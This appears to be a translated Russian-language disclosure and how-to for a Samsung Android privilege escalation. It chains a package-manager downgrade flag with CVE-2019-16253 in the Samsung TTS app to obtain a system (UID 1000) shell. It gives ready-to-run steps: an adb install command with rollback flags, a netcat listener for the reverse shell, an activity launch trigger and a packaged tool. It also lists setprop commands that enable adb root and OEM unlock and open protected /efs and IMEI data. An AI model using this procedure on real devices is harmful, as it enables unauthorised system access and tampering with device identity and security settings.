
Эксплойт, который я обнаружил в октябре 2022 года, в бинарном файле менеджера пакетов Android (pm) и в том, как он обрабатывал флаги отладки, устранённый к марту 2023 года. Использует CVE-2019-16253 в качестве полезной нагрузки для получения системной оболочки.
Еще в 2019 году была обнаружена уязвимость, получившая известность как «CVE-2019-16253», которая затрагивала TTS-движок Samsung в версиях до 3.0.02.7. Эта эксплуатация позволяла локальному злоумышленнику повысить привилегии до системных и впоследствии была исправлена Samsung.
По сути, TTS-приложение Samsung слепо принимало любые данные, получаемые от TTS-движка. Вы можете передать TTS-движку библиотеку, которая затем будет передана TTS-приложению, а оно, в свою очередь, загрузит эту библиотеку и выполнит её с системными привилегиями (UID 1000 в Android). Позднее это было исправлено: TTS-приложение стало проверять данные, поступающие от движка, а также установленную версию, закрыв данную конкретную лазейку.
Однако с Android 10 компания Google представила возможность отката приложения путем его установки с параметром ENABLE_ROLLBACK. Это позволяет пользователю вернуть версию приложения, установленного на устройстве, к предыдущей версии того же приложения. Полагаю, что по недосмотру эта возможность распространилась и на приложение преобразования текста в речь от Samsung, а также на любое приложение на любом устройстве с Android 10+ в настоящее время.
Корень этой цепочки поражения возвращается к флагу «-d», добавленному в команду package-manager при установке приложения. Он должен работать только для отлаживаемых приложений, но работает и для неотлаживаемых, именно поэтому TTS-приложение можно принудительно понизить в версии.
Другими словами, хотя эксплойт 2019 года был исправлен и распространена обновленная версия TTS-приложения, сначала один, а теперь и несколько обходных путей и байпасов для его установки и эксплуатации на устройствах, выпущенных спустя три (а возможно, и четыре) года, были обнаружены, что ставит под сомнение, сколько старых эксплойтов можно возродить.
В марте Samsung выпустила патч для эксплойта, однако мне удалось быстро найти обходной путь для мартовского патча Samsung, и с тех пор он также был сообщен и исправлен, завершив двухлетнюю сагу печально известной «TTS System Shell».
Простое руководство --
1 Установите все APK-файлы, откройте их хотя бы один раз.
2 Перезагрузите устройство. После перезагрузки выполните следующую команду через ADB:
"adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk"
3 В одной консоли введите nc -lp 9999
4 Выполните следующую команду во второй консоли: adb shell am start -n com.samsung.SMT/.gui.DownloadList
ГОТОВО.
Если у вас возникли проблемы с запуском, полностью удалите SMT (Samsung Text-To-Speech), затем переустановите уязвимую версию и повторите попытку, начиная с шага 3.
ИСПРАВЛЕНО ПО СОСТОЯНИЮ НА 02/2023 Как было показано на XDA до того, как публичное раскрытие было удалено модераторами XDA. В остальном здесь оно останется без изменений в качестве архива.
Ожидается, что это будет работать на всех мобильных устройствах Samsung, выпущенных на момент написания этой статьи, за исключением некоторых JDM-устройств. (19.01.2023)
Крутые вещи, которые работают: Доступ к большей части /efs, /efs/imei, /efs/sec_efs, /efs/FactoryApp - Доступ к большей части /data, /data/system, /data/user/0/ANY_SYSTEM_APP - Становится доступным бинарный файл «Insthk» - Secure Folder/Separated Apps становятся ПОЛНОСТЬЮ скомпрометированы, если также установить POC в него (UID 150_system) - Запуск IOTHidden Menu, DM Mode, Service Mode, множества отладочных и скрытых меню, а также preconfig в системном контексте - Изменение многих защищённых свойств, таких как:
setprop persist.service.adb.root 1 setprop service.adb.root 1 setprop sys.hidden.otatest 1 setprop sys.hiddenmenu.enable 1 setprop persist.sys.knox.device_owner true setprop persist.sys.usb.qxdm.debug 1 setprop sys.usb.qxdm.debug 1 setprop presist.service.adb.enable 1 setprop persist.sys.usb.qxdm.debug 1 setprop service.adb.enable 1 setprop persist.rollback.is_test true setprop sys.oem_unlock_allowed 1
а также многое другое.
Простой способ - Шаг 1 – Загрузите «Komraids System Shell.zip» (прилагается последняя версия) и распакуйте в любое место на рабочем столе. Шаг 2 – Отправьте «samsungTTSVULN2.apk» в /data/local/tmp Шаг 3 – Убедитесь, что отладка по USB включена, а компьютер авторизован. Также убедитесь, что режим энергосбережения выключен. Шаг 4 – Установите komraids_POC_V1.5.apk, перезагрузите устройство. Шаг 5 – Когда устройство полностью перезагрузится и будет разблокировано, запустите systemshell.exe Шаг 6 – Теперь вы находитесь в оболочке с UID 1000. Наслаждайтесь. Будьте осторожны с тем, что меняете.
На что обратить внимание: .exe нужно запускать только один раз после каждой перезагрузки; вы можете использовать его, если хотите, или можете вручную открыть системную оболочку, следуя Шагу 5 из раздела «Как это работает?» ниже.
Не будьте глупы, я не несу ответственности за любую глупую хрень, которую вы сделаете. PWNED - K0mraid3 2022-10-06 175216.png
Огромное спасибо @oakieville за .exe и большую помощь в доработке кода этого проекта.
Этот проект был представлен вам VAULT-TEC Dev Ops!